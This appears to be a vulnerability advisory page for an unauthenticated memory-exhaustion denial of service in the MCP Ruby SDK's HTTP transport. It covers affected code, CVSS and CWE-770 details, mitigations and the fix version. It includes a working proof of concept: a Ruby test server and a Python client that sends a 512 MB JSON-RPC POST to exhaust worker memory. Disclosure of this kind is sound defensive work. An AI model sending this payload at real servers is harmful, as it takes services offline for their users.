Skip to content

GHSA-h669-8m4g-r2hc CVE-2026-67432

MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

High RubyGems
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.78%
Chance of exploitation in the next 30 days. Higher than 56.07% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
0.23.0
Upgrade mcp to this version or later

Description

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

  • Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
  • Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

<img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" />

<img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" />

Impact

  • Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
  • Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
  • Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

  1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
  2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
  3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Affected versions

RubyGems

PackageVulnerableFixed in
mcp
< 0.23.0
0.23.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

mcp RubyGems → 0.23.0

bundler
bundle update mcp # Gemfile: gem "mcp", ">= 0.23.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-5p9g-j988-pcwv
MCP Ruby SDK: Ruby SSE Session Poisoning
High Also affects mcp
GHSA-52jp-gj8w-j6xh
MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood
Medium Also affects mcp
GHSA-7683-3w9x-ch42
MCP Ruby SDK: Unbounded line buffer in stdio transports leads to memory exhaustion (DoS)
Medium Also affects mcp
GHSA-rjr6-rcgv-9m7m
MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection
Medium Also affects mcp
GHSA-qvqr-5cv7-wh35
MCP Ruby SDK: Insufficient Session Binding Allows SSE Stream Hijacking via Session ID Replay
Medium Also affects mcp
GHSA-62m5-6wh8-28x7
pypdf has possible long runtimes/large memory usage for encrypted PDF files
High Same weakness, CWE-770
GHSA-9wfm-jcj8-jfv9
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
Low Same weakness, CWE-770
GHSA-4p9f-7p9m-5vfg
russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets
Medium Same weakness, CWE-770
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor